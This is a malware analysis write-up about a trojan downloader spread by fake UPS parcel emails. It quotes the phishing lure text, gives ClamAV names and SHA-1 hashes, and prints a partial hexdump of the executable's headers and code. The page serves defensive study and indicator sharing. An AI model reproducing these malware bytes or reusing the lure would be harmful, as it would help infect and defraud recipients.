Hostile Data — Trojan.Downloader
The attachment
Messages arrive with an attached file named
"UPSnotify.rar"
or
"United Parcel Service document.zip".
These attached files are archives of the type to be expected
from the filename, and they extract to
"UPS notify.exe"
and
"United Parcel Service document.exe".
The message is the usual social engineering attempt in broken English tempting the recipient to extract and run the resulting binary. Of course, if they are going to trick you into believing that it's from UPS, they shouldn't say that they're the competitor delivery company DHL.
Silly hacker:
Dear customer. The parcel was sent your home address. And it will arrive within 3 business day. More information and the tracking number are attached in document below. Thank you. =A9 1994-2011 DHL Express Services, Inc.
The executable contents
GNU utilities such as file, strings,
and hexdump are useful for
getting some limited idea about
what this malicious code might do.
The file utility reports that this executable
is:
MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit
The following is output for running
hexdump -C "UPS notify.exe"
under Linux or BSD.
These downloader Trojans aren't very interesting by themself. Their job is to download and start the real malware. You can find a few references to Windows networking and OS DLLs around addresses 0x00001690 through 0x000017f0, then at 0x00001b40 through 0x00001c60.
There are several variants of these. ClamAV identifies the two examples I have as Trojan.Downloader-103787 and Trojan.Downloader-103788, respectively with sizes of 15360 and 16896 and SHA-1 hashes of da65b7b277540b88918076949a28e8307ad7e41a and 142e8b00aa24954f9a4aa2271b8a49c445b87587.
00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............|
00000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |........@.......|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 |................|
00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th|
00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno|
00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....$.......|
00000080 50 45 00 00 4c 01 04 00 15 d9 88 4d 00 00 00 00 |PE..L......M....|
00000090 00 00 00 00 e0 00 0f 01 0b 01 02 32 00 10 00 00 |...........2....|
000000a0 00 30 00 00 00 00 00 00 0b 10 00 00 00 10 00 00 |.0..............|
000000b0 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 |. ....@.........|
000000c0 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 |................|
000000d0 00 60 00 00 00 04 00 00 00 00 00 00 02 00 00 00 |.`..............|
000000e0 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 |................|
000000f0 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 |................|
00000100 74 30 00 00 3c 00 00 00 00 40 00 00 e8 1d 00 00 |t0..<....@......|
00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000150 00 00 00 00 00 00 00 00 fc 30 00 00 4c 00 00 00 |.........0..L...|
00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000170 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 |.........text...|
00000180 f6 0f 00 00 00 10 00 00 00 10 00 00 00 04 00 00 |................|
00000190 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 |............ ..`|
000001a0 2e 72 64 61 74 61 00 00 2d 04 00 00 00 20 00 00 |.rdata..-.... ..|
000001b0 00 06 00 00 00 14 00 00 00 00 00 00 00 00 00 00 |................|
000001c0 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 |....@..@.data...|
000001d0 c0 0b 00 00 00 30 00 00 00 04 00 00 00 1a 00 00 |.....0..........|
000001e0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 |............@...|
000001f0 2e 72 73 72 63 00 00 00 e8 1d 00 00 00 40 00 00 |.rsrc........@..|
00000200 00 1e 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 |................|
00000210 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 |....@..@........|
00000220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000400 55 89 e5 31 c0 89 ec 5d c2 28 00 55 89 e5 83 ec |U..1...].(.U....|
00000410 20 53 ff 35 04 30 40 00 ff 15 fc 30 40 00 89 c3 | S.5.0@....0@...|
00000420 6a 11 ff 15 00 31 40 00 68 4e cc 92 97 53 e8 72 |j....1@.hN...S.r|
00000430 08 00 00 a3 5c 32 40 00 6a 6a 6a 6a 6a 6a 6a 6a |....\2@.jjjjjjjj|
00000440 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 af ff ff |jjjjjjjjjjjj....|
00000450 ff 6a 5c ff 15 04 31 40 00 6a 00 ff 15 08 31 40 |.j\...1@.j....1@|
00000460 00 68 2f fe 1c 4b 53 e8 39 08 00 00 a3 60 32 40 |.h/..KS.9....`2@|
00000470 00 68 68 91 37 35 53 e8 29 08 00 00 a3 64 32 40 |.hh.75S.)....d2@|
00000480 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |.jjjjjjjjjjjjjjj|
00000490 6a 6a 6a 6a 6a e8 66 ff ff ff 68 72 ce bf 7b 53 |jjjjj.f...hr..{S|
000004a0 e8 00 08 00 00 a3 68 32 40 00 6a 6a 6a 6a 6a 6a |......h2@.jjjjjj|
000004b0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 3d |jjjjjjjjjjjjjj.=|
000004c0 ff ff ff 68 72 e6 bf 7b 53 e8 d7 07 00 00 a3 6c |...hr..{S......l|
000004d0 32 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |2@.jjjjjjjjjjjjj|
000004e0 6a 6a 6a 6a 6a 6a 6a e8 14 ff ff ff 68 b7 f9 7b |jjjjjjj.....h..{|
000004f0 09 53 e8 ae 07 00 00 a3 70 32 40 00 6a 6a 6a 6a |.S......p2@.jjjj|
00000500 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000510 e8 eb fe ff ff 68 e2 87 36 82 53 e8 85 07 00 00 |.....h..6.S.....|
00000520 a3 74 32 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |.t2@.jjjjjjjjjjj|
00000530 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 c2 fe ff ff 68 95 |jjjjjjjjj.....h.|
00000540 cd 75 e7 53 e8 5c 07 00 00 a3 78 32 40 00 6a 6a |.u.S.\....x2@.jj|
00000550 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000560 6a 6a e8 99 fe ff ff 68 aa c6 5f ba 53 e8 33 07 |jj.....h.._.S.3.|
00000570 00 00 a3 7c 32 40 00 68 04 01 00 00 68 80 32 40 |...|2@.h....h.2@|
00000580 00 6a 00 ff 15 0c 31 40 00 6a 6a 6a 6a 6a 6a 6a |.j....1@.jjjjjjj|
00000590 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 5e fe |jjjjjjjjjjjjj.^.|
000005a0 ff ff ff 35 28 30 40 00 68 84 33 40 00 ff 15 10 |...5(0@.h.3@....|
000005b0 31 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |1@.jjjjjjjjjjjjj|
000005c0 6a 6a 6a 6a 6a 6a 6a e8 34 fe ff ff ff 35 0c 30 |jjjjjjj.4....5.0|
000005d0 40 00 68 84 33 40 00 ff 15 14 31 40 00 ff 35 44 |@.h.3@....1@..5D|
000005e0 30 40 00 68 84 33 40 00 ff 15 14 31 40 00 6a 6a |0@.h.3@....1@.jj|
000005f0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000600 6a 6a e8 f9 fd ff ff 68 80 32 40 00 68 84 33 40 |jj.....h.2@.h.3@|
00000610 00 ff 15 14 31 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a |....1@.jjjjjjjjj|
00000620 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 d0 fd ff ff |jjjjjjjjjjj.....|
00000630 c7 05 88 34 40 00 44 00 00 00 6a 6a 6a 6a 6a 6a |...4@.D...jjjjjj|
00000640 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 ad |jjjjjjjjjjjjjj..|
00000650 fd ff ff c7 05 b4 34 40 00 01 00 00 00 6a 6a 6a |......4@.....jjj|
00000660 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000670 6a e8 8a fd ff ff 66 c7 05 b8 34 40 00 02 00 6a |j.....f...4@...j|
00000680 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000690 6a 6a 6a e8 68 fd ff ff 68 cc 34 40 00 68 88 34 |jjj.h...h.4@.h.4|
000006a0 40 00 6a 00 6a 00 6a 04 6a 00 6a 00 6a 00 68 84 |@.j.j.j.j.j.j.h.|
000006b0 33 40 00 6a 00 ff 15 5c 32 40 00 6a 6a 6a 6a 6a |3@.j...\2@.jjjjj|
000006c0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
000006d0 2c fd ff ff ff 35 3c 30 40 00 8d 45 e0 50 ff 15 |,....5<0@..E.P..|
000006e0 10 31 40 00 ff 35 38 30 40 00 8d 45 e0 50 ff 15 |.1@..580@..E.P..|
000006f0 14 31 40 00 ff 35 34 30 40 00 8d 45 e0 50 ff 15 |.1@..540@..E.P..|
00000700 14 31 40 00 ff 35 24 30 40 00 8d 45 e0 50 ff 15 |.1@..5$0@..E.P..|
00000710 14 31 40 00 8d 45 e0 50 ff 15 7c 32 40 00 89 c3 |.1@..E.P..|2@...|
00000720 68 9c 45 d0 70 53 e8 7a 05 00 00 a3 dc 34 40 00 |h.E.pS.z.....4@.|
00000730 68 5b 7b fa 71 53 e8 6a 05 00 00 a3 e0 34 40 00 |h[{.qS.j.....4@.|
00000740 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000750 6a 6a 6a 6a e8 a7 fc ff ff 68 3b 93 df 69 53 e8 |jjjj.....h;..iS.|
00000760 41 05 00 00 a3 e4 34 40 00 68 3f 07 83 cb 53 e8 |A.....4@.h?...S.|
00000770 31 05 00 00 a3 e8 34 40 00 6a 6a 6a 6a 6a 6a 6a |1.....4@.jjjjjjj|
00000780 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 6e fc |jjjjjjjjjjjjj.n.|
00000790 ff ff 68 7c d5 83 b8 53 e8 08 05 00 00 a3 ec 34 |..h|...S.......4|
000007a0 40 00 ff 35 10 30 40 00 ff 15 7c 32 40 00 89 c3 |@..5.0@...|2@...|
000007b0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
000007c0 6a 6a 6a 6a e8 37 fc ff ff 68 15 8e a8 2e 53 e8 |jjjj.7...h....S.|
000007d0 d1 04 00 00 a3 f0 34 40 00 e8 50 00 00 00 6a 6a |......4@..P...jj|
000007e0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
000007f0 6a 6a e8 09 fc ff ff 6a 00 ff 15 78 32 40 00 b8 |jj.....j...x2@..|
00000800 58 30 40 00 b8 54 30 40 00 b8 60 30 40 00 b8 00 |X0@..T0@..`0@...|
00000810 30 40 00 b8 18 30 40 00 b8 1c 30 40 00 b8 50 30 |0@...0@...0@..P0|
00000820 40 00 b8 20 30 40 00 31 c0 5b 89 ec 5d c3 55 89 |@.. 0@.1.[..].U.|
00000830 e5 50 53 56 57 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |.PSVWjjjjjjjjjjj|
00000840 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 b2 fb ff ff 6a 00 |jjjjjjjjj.....j.|
00000850 ff 15 08 31 40 00 89 c3 6a 6a 6a 6a 6a 6a 6a 6a |...1@...jjjjjjjj|
00000860 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 8f fb ff |jjjjjjjjjjjj....|
00000870 ff 89 de 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |...jjjjjjjjjjjjj|
00000880 6a 6a 6a 6a 6a 6a 6a e8 74 fb ff ff 8b 46 3c 01 |jjjjjjj.t....F<.|
00000890 f0 89 c6 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |...jjjjjjjjjjjjj|
000008a0 6a 6a 6a 6a 6a 6a 6a e8 54 fb ff ff 6a 40 68 00 |jjjjjjj.T...j@h.|
000008b0 30 00 00 ff 76 50 53 ff 35 cc 34 40 00 ff 15 60 |0...vPS.5.4@...`|
000008c0 32 40 00 89 c7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |2@...jjjjjjjjjjj|
000008d0 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 22 fb ff ff 8d 45 |jjjjjjjjj."....E|
000008e0 fc 50 ff 76 50 53 57 ff 35 cc 34 40 00 ff 15 64 |.P.vPSW.5.4@...d|
000008f0 32 40 00 c7 05 f4 34 40 00 07 00 01 00 68 f4 34 |2@....4@.....h.4|
00000900 40 00 ff 35 d0 34 40 00 ff 15 68 32 40 00 6a 6a |@..5.4@...h2@.jj|
00000910 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000920 6a 6a e8 d9 fa ff ff b8 87 15 40 00 a3 ac 35 40 |jj........@...5@|
00000930 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |.jjjjjjjjjjjjjjj|
00000940 6a 6a 6a 6a 6a e8 b6 fa ff ff 68 f4 34 40 00 ff |jjjjj.....h.4@..|
00000950 35 d0 34 40 00 ff 15 6c 32 40 00 6a 6a 6a 6a 6a |5.4@...l2@.jjjjj|
00000960 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000970 8c fa ff ff ff 35 d0 34 40 00 ff 15 70 32 40 00 |.....5.4@...p2@.|
00000980 5f 5e 5b 89 ec 5d c3 55 89 e5 83 ec 54 53 56 57 |_^[..].U....TSVW|
00000990 ff 35 3c 30 40 00 8d 45 d4 50 ff 15 10 31 40 00 |.5<0@..E.P...1@.|
000009a0 ff 35 38 30 40 00 8d 45 d4 50 ff 15 14 31 40 00 |.580@..E.P...1@.|
000009b0 ff 35 34 30 40 00 8d 45 d4 50 ff 15 14 31 40 00 |.540@..E.P...1@.|
000009c0 ff 35 24 30 40 00 8d 45 d4 50 ff 15 14 31 40 00 |.5$0@..E.P...1@.|
000009d0 8d 45 d4 50 ff 15 7c 32 40 00 ff 35 10 30 40 00 |.E.P..|2@..5.0@.|
000009e0 ff 15 7c 32 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |..|2@.jjjjjjjjjj|
000009f0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 01 fa ff ff ff |jjjjjjjjjj......|
00000a00 15 18 31 40 00 ff 15 1c 31 40 00 89 c3 eb 01 43 |..1@....1@.....C|
00000a10 80 3b 20 75 fa 43 31 f6 31 ff eb 4c 6a 6a 6a 6a |.; u.C1.1..Ljjjj|
00000a20 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000a30 e8 cb f9 ff ff 68 17 01 00 00 ff 15 20 31 40 00 |.....h...... 1@.|
00000a40 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000a50 6a 6a 6a 6a e8 a7 f9 ff ff 53 ff 15 24 31 40 00 |jjjj.....S..$1@.|
00000a60 89 c7 46 83 fe 32 7f 04 85 ff 74 b0 83 65 f4 00 |..F..2....t..e..|
00000a70 83 65 f8 00 83 65 fc 00 31 db 31 f6 6a 6a 6a 6a |.e...e..1.1.jjjj|
00000a80 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000a90 e8 6b f9 ff ff 83 65 c4 00 83 65 bc 00 83 65 c0 |.k....e...e...e.|
00000aa0 00 31 ff 83 65 b8 00 83 7d b8 08 75 04 83 65 b8 |.1..e...}..u..e.|
00000ab0 00 8b 45 c4 8b 15 40 30 40 00 0f be 04 10 8b 55 |..E...@0@......U|
00000ac0 b8 0f b6 92 2c 30 40 00 31 d0 88 87 c0 37 40 00 |....,0@.1....7@.|
00000ad0 80 bf c0 37 40 00 2c 75 6a 6a 6a 6a 6a 6a 6a 6a |...7@.,ujjjjjjjj|
00000ae0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 0e f9 |jjjjjjjjjjjjj...|
00000af0 ff ff c6 87 c0 37 40 00 00 6a 6a 6a 6a 6a 6a 6a |.....7@..jjjjjjj|
00000b00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 ee f8 |jjjjjjjjjjjjj...|
00000b10 ff ff 8b 45 bc 83 7c 85 f4 00 75 1e 68 c0 37 40 |...E..|...u.h.7@|
00000b20 00 e8 63 03 00 00 85 c0 74 13 8b 45 bc c7 44 85 |..c.....t..E..D.|
00000b30 f4 01 00 00 00 ff 45 c0 eb 03 ff 45 c0 ff 45 bc |......E....E..E.|
00000b40 83 cf ff ff 45 b8 47 ff 45 c4 83 7d c4 5b 0f 8c |....E.G.E..}.[..|
00000b50 53 ff ff ff 83 7d c0 03 75 03 31 db 43 46 85 db |S....}..u.1.CF..|
00000b60 75 0b 68 e0 95 03 00 ff 15 20 31 40 00 83 fe 03 |u.h...... 1@....|
00000b70 7d 08 85 db 0f 84 02 ff ff ff 85 db 0f 85 fb 00 |}...............|
00000b80 00 00 83 65 c8 00 83 65 cc 00 83 65 d0 00 31 db |...e...e...e..1.|
00000b90 31 f6 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |1.jjjjjjjjjjjjjj|
00000ba0 6a 6a 6a 6a 6a 6a e8 55 f8 ff ff 83 65 b4 00 83 |jjjjjj.U....e...|
00000bb0 65 ac 00 83 65 b0 00 31 ff 8b 15 5c 30 40 00 8b |e...e..1...\0@..|
00000bc0 45 b4 8a 04 10 8b 4d b4 32 44 11 01 88 87 c0 37 |E.....M.2D.....7|
00000bd0 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |@.jjjjjjjjjjjjjj|
00000be0 6a 6a 6a 6a 6a 6a e8 15 f8 ff ff 80 bf c0 37 40 |jjjjjj........7@|
00000bf0 00 2c 75 51 c6 87 c0 37 40 00 00 6a 6a 6a 6a 6a |.,uQ...7@..jjjjj|
00000c00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000c10 ec f7 ff ff 8b 45 ac 83 7c 85 f4 00 75 1e 68 c0 |.....E..|...u.h.|
00000c20 37 40 00 e8 61 02 00 00 85 c0 74 13 8b 45 ac c7 |7@..a.....t..E..|
00000c30 44 85 f4 01 00 00 00 ff 45 b0 eb 03 ff 45 b0 ff |D.......E....E..|
00000c40 45 ac 83 cf ff 47 83 45 b4 03 81 7d b4 08 01 00 |E....G.E...}....|
00000c50 00 0f 8c 62 ff ff ff 83 7d b0 03 75 03 31 db 43 |...b....}..u.1.C|
00000c60 46 85 db 75 0b 68 8b 95 03 00 ff 15 20 31 40 00 |F..u.h...... 1@.|
00000c70 83 fe 03 7d 08 85 db 0f 84 15 ff ff ff 6a 6a 6a |...}.........jjj|
00000c80 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000c90 6a e8 6a f7 ff ff 6a 00 ff 15 28 31 40 00 5f 5e |j.j...j...(1@._^|
00000ca0 5b 89 ec 5d c3 55 89 e5 6a ff 68 00 20 40 00 68 |[..].U..j.h. @.h|
00000cb0 58 1d 40 00 64 ff 35 00 00 00 00 64 89 25 00 00 |X.@.d.5....d.%..|
00000cc0 00 00 83 ec 3c 53 56 57 89 65 e8 6a 6a 6a 6a 6a |....<SVW.e.jjjjj|
00000cd0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000ce0 1c f7 ff ff 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |....jjjjjjjjjjjj|
00000cf0 6a 6a 6a 6a 6a 6a 6a 6a e8 03 f7 ff ff 8b 45 08 |jjjjjjjj......E.|
00000d00 8b 50 3c 89 c1 01 ca 8b 42 78 8b 4d 08 01 c8 89 |.P<.....Bx.M....|
00000d10 45 c4 8b 40 24 8b 55 08 01 d0 89 45 c0 6a 6a 6a |E..@$.U....E.jjj|
00000d20 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000d30 6a e8 ca f6 ff ff 68 0c 20 40 00 8d 45 c8 50 ff |j.....h. @..E.P.|
00000d40 15 10 31 40 00 68 0c 20 40 00 8d 45 c8 50 ff 15 |..1@.h. @..E.P..|
00000d50 10 31 40 00 6a 00 6a 00 6a 00 ff 15 40 31 40 00 |.1@.j.j.j...@1@.|
00000d60 85 c0 74 07 81 45 0c 46 fd 07 00 83 65 fc 00 6a |..t..E.F....e..j|
00000d70 00 6a 00 68 52 08 00 00 ff 15 40 31 40 00 85 c0 |.j.hR.....@1@...|
00000d80 75 07 81 45 0c f2 66 03 00 eb 07 31 c0 40 c3 8b |u..E..f....1.@..|
00000d90 65 e8 83 4d fc ff 8b 45 c4 8b 40 20 8b 55 08 01 |e..M...E..@ .U..|
00000da0 d0 89 c3 8b 45 c4 8b 40 1c 8b 55 08 01 d0 89 c6 |....E..@..U.....|
00000db0 31 ff e9 af 00 00 00 83 65 bc 00 6a 6a 6a 6a 6a |1.......e..jjjjj|
00000dc0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000dd0 2c f6 ff ff 8b 04 bb 8b 55 08 01 d0 89 45 b8 83 |,.......U....E..|
00000de0 65 b4 00 eb 42 8b 45 bc c1 e0 07 8b 55 bc c1 ea |e...B.E.....U...|
00000df0 19 09 d0 89 45 bc 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |....E.jjjjjjjjjj|
00000e00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 f1 f5 ff ff 8b |jjjjjjjjjj......|
00000e10 45 b4 8b 55 b8 0f be 04 10 35 b5 00 00 00 33 45 |E..U.....5....3E|
00000e20 bc 89 45 bc ff 45 b4 8b 45 b4 8b 55 b8 80 3c 10 |..E..E..E..U..<.|
00000e30 00 75 b2 8b 45 bc 3b 45 0c 75 2a 6a 6a 6a 6a 6a |.u..E.;E.u*jjjjj|
00000e40 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000e50 ac f5 ff ff 8b 45 c0 0f b7 04 78 8b 04 86 8b 55 |.....E....x....U|
00000e60 08 01 d0 eb 11 47 8b 45 c4 8b 40 18 39 c7 0f 8c |.....G.E..@.9...|
00000e70 43 ff ff ff 31 c0 5f 5e 5b 8b 4d f0 64 89 0d 00 |C...1._^[.M.d...|
00000e80 00 00 00 89 ec 5d c2 08 00 55 89 e5 81 ec 20 04 |.....]...U.... .|
00000e90 00 00 53 56 57 8b 5d 08 c7 45 fc 07 00 00 00 6a |..SVW.]..E.....j|
00000ea0 00 8d 45 fc 50 ff 15 dc 34 40 00 31 f6 85 c0 0f |..E.P...4@.1....|
00000eb0 84 88 02 00 00 6a 00 6a 00 6a 00 6a 00 6a 00 ff |.....j.j.j.j.j..|
00000ec0 15 e0 34 40 00 89 85 ec fb ff ff 6a 6a 6a 6a 6a |..4@.......jjjjj|
00000ed0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 |jjjjjjjjjjjjjjj.|
00000ee0 1c f5 ff ff 6a 00 68 00 00 00 80 6a 00 6a 00 53 |....j.h....j.j.S|
00000ef0 ff b5 ec fb ff ff ff 15 e4 34 40 00 89 c7 31 f6 |.........4@...1.|
00000f00 85 ff 0f 84 09 02 00 00 53 ff 15 2c 31 40 00 89 |........S..,1@..|
00000f10 85 e8 fb ff ff eb 3d 6a 6a 6a 6a 6a 6a 6a 6a 6a |......=jjjjjjjjj|
00000f20 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 d0 f4 ff ff |jjjjjjjjjjj.....|
00000f30 8b 85 e8 fb ff ff 80 3c 18 2f 75 12 8b 85 e8 fb |.......<./u.....|
00000f40 ff ff 8d 44 18 01 89 85 f0 fb ff ff eb 0f ff 8d |...D............|
00000f50 e8 fb ff ff 83 bd e8 fb ff ff 00 7f ba 68 04 01 |.............h..|
00000f60 00 00 68 84 33 40 00 ff 35 14 30 40 00 ff 15 74 |..h.3@..5.0@...t|
00000f70 32 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |2@.jjjjjjjjjjjjj|
00000f80 6a 6a 6a 6a 6a 6a 6a e8 74 f4 ff ff ff 35 48 30 |jjjjjjj.t....5H0|
00000f90 40 00 68 84 33 40 00 ff 15 14 31 40 00 6a 6a 6a |@.h.3@....1@.jjj|
00000fa0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00000fb0 6a e8 4a f4 ff ff ff b5 f0 fb ff ff 68 84 33 40 |j.J.........h.3@|
00000fc0 00 ff 15 14 31 40 00 6a 6a 6a 6a 6a 6a 6a 6a 6a |....1@.jjjjjjjjj|
00000fd0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 20 f4 ff ff |jjjjjjjjjjj. ...|
00000fe0 6a 00 6a 00 6a 02 6a 00 6a 00 68 00 00 00 40 68 |j.j.j.j.j.h...@h|
00000ff0 84 33 40 00 ff 15 30 31 40 00 89 85 e0 fb ff ff |.3@...01@.......|
00001000 83 a5 e4 fb ff ff 00 31 db 8d 45 f8 50 68 00 04 |.......1..E.Ph..|
00001010 00 00 8d 85 f4 fb ff ff 50 57 ff 15 e8 34 40 00 |........PW...4@.|
00001020 85 db 75 25 31 db 43 80 bd f4 fb ff ff 4d 75 19 |..u%1.C......Mu.|
00001030 31 db 43 80 bd f5 fb ff ff 5a 75 0d c7 85 e4 fb |1.C......Zu.....|
00001040 ff ff 01 00 00 00 31 db 43 6a 6a 6a 6a 6a 6a 6a |......1.Cjjjjjjj|
00001050 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 9e f3 |jjjjjjjjjjjjj...|
00001060 ff ff 6a 00 8d 45 f4 50 ff 75 f8 8d 85 f4 fb ff |..j..E.P.u......|
00001070 ff 50 ff b5 e0 fb ff ff ff 15 34 31 40 00 6a 6a |.P........41@.jj|
00001080 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
00001090 6a 6a e8 69 f3 ff ff 83 7d f8 00 0f 85 68 ff ff |jj.i....}....h..|
000010a0 ff ff b5 e0 fb ff ff ff 15 00 31 40 00 6a 6a 6a |..........1@.jjj|
000010b0 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |jjjjjjjjjjjjjjjj|
000010c0 6a e8 3a f3 ff ff 68 12 01 00 00 ff 15 20 31 40 |j.:...h...... 1@|
000010d0 00 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a |.jjjjjjjjjjjjjjj|
000010e0 6a 6a 6a 6a 6a e8 16 f3 ff ff 31 f6 83 bd e4 fb |jjjjj.....1.....|
000010f0 ff ff 00 74 1c 6a 08 6a 00 6a 00 68 84 33 40 00 |...t.j.j.j.h.3@.|
00001100 ff 35 4c 30 40 00 6a 00 ff 15 f0 34 40 00 31 f6 |.5L0@.j....4@.1.|
00001110 46 57 ff 15 ec 34 40 00 6a 6a 6a 6a 6a 6a 6a 6a |FW...4@.jjjjjjjj|
00001120 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a e8 cf f2 ff |jjjjjjjjjjjj....|
00001130 ff ff b5 ec fb ff ff ff 15 ec 34 40 00 89 f0 5f |..........4@..._|
00001140 5e 5b 89 ec 5d c2 04 00 cc cc cc cc cc cc cc cc |^[..]...........|
00001150 56 43 32 30 58 43 30 30 55 89 e5 83 ec 08 53 56 |VC20XC00U.....SV|
00001160 57 55 fc 8b 1c 2d 0c 00 00 00 8b 04 2d 08 00 00 |WU...-......-...|
00001170 00 f7 04 05 04 00 00 00 06 00 00 00 0f 85 cb 00 |................|
00001180 00 00 89 04 2d f8 ff ff ff 8b 04 2d 10 00 00 00 |....-......-....|
00001190 89 04 2d fc ff ff ff 8d 04 2d f8 ff ff ff 89 04 |..-......-......|
